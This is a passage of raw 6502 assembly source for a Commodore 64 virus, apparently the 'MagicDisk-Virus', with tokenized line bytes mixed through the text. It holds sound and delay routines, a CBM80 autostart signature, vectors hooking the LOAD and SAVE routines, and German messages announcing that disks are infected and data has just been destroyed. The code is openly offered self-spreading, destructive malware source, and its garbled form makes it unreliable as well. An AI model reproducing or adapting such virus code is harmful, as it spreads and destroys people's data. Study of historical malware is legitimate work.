3 LDASPRDAT,Y..3H. STA845,Y..3R. DEY..3.
. BPLSLOOP3. 3..;.,3.. LDA#13.:3.. JSRBS
OUT.F3.. LDA#32.T3.. JSRBSOUT.Z3..;*****
***************************..3..CALC LDA
CRSRLINE..3.. CLC..3". ADC#03..3,. LSR..
36. RORCOUNTLO.F3@. CLC.S3J. ADC#$60..3T
. STACOUNTHI..4^.;**********************
**********..4H.SOUND LDA#15.)4R. STASID+
24.94|. STACOUNTER.E4.. LDX#01.R4.. LDY#
$78.^4.. STXSID.L4.. STYSID+1.Z4.. STXFR
QLO..4.. STYFRQHI..4B. LDX#$E0..4L. LDY#
$F0..4V. STXSID+5..4.. STYSID+6.J4.. LDA
#33.X4.. STASID+4..4..;..4..SLOOP2 LDY#0
1..4.. JSRWAIT..5.. DECFRQLO..5&. BNESL1
.%50. DECFRQHI..5:.;***.A5D.SL1 LDACOUNT
HI.O5N. CMPFRQHI.[5X. BCCSL5.G5B. BNESL6
.W5L. LDACOUNTLO..5V. CMPFRQLO..5.. BCCS
L5..5..SL6 DECCOUNTER..5.. BPLSL5..5.. I
NCVIC+1.J5.. LDA#15.Z5.. STACOUNTER..5..
;***..5F.SL5 LDAFRQHI..6P. CMP#$60..6Z. 
BEQBYE..6.. STASID+1.)6.. LDAFRQLO.56.. 
STASID.D6.. JMPSLOOP2.J6..;.[6..BYE STYS
ID+4.J6 . STYSID+24.W6*. LDA#"."..64. JS
RBSOUT..6>. STACRSRFLAG..6H. LDY#$FF..6R
. JSRWAIT..6\. STYVIC+21.S6F. LDA#<(WARN
ING)..6P. LDY#>(WARNING)..6Z. JSRSTROUT.
.7.. JMPINIT.)7@.;**********************
**********.97J.WAIT LDX#00.H7T.SLOOP1 DE
X.W7^. BNESLOOP1.`7H. DEY.O7R. BNESLOOP1
.X7|. RTS..7..;*************************
*******..7. INCCOUNT INC$FB..7.  BNELAB3
.K7&  INC$FC..70 LAB3 LDA$FB..7:  CMP$F9
..7D  BNEWEITER..8N  LDA$FC..8X  CMP$FA.
.8B  BNEWEITER.&8V  SEC./8.  RTS.58. ;.D
8. WEITER CLC.M8.  RTS.S8.';************
********************..8.'SPRDAT .BY124,0
,0,198,0,0,198,0,0,108,0,31,255,248..8$'
.BY 31,177,248,31,183,248,63,177,252,63,
181,252,63,177,252,63,255,252,113.C9.'.B
Y 22,142,123,82,190,123,84,142,251,84,23
9,251,22,143,255,255,255,255.I98';******
**************************..9B'CBM .WORE
SET,RESTORE..9L' .TX"CBM80"..9V'TAB .WOL
OAD,SAVE..9['ERRORTEXT .BY13..9`'.TX "DE
R .MAGICDISK-VIRUS. IST IN DIESEM"..9A'.
BY13.%:J'.TX "C64 !!! SOEBEN WURDEN DATE
N ZERSTOERT !"./:K'.BY13._:T'.TX "BITTE 
PROGRAMM AUF EINER ANDEREN DISK".I:U'.BY
13..:~'.TX "ABSPEICHERN !!!"..:.'.BY 13,
14,0..:.';******************************
**.K:.'WARNING .BY13..:.'.TX "HALLO DU !
 DEIN 64ER LEBT ! EIN PAAR VON"..;.'.BY1
3.8;.'.TX "DEINEN DISKETTEN WURDEN INFIZ
IERT MIT".B;.'.BY13.D;.'.TX"DEM .MAGICDI
SK-VIRUS....".T;.'.BY 13,14,0..;D';*****
***************************..;N'NAMEBUFF
 .TX"S:"..;X'ENDE .BY0...
C64 Preview

> CLICK IMAGE PREVIEW FOR FULL MODAL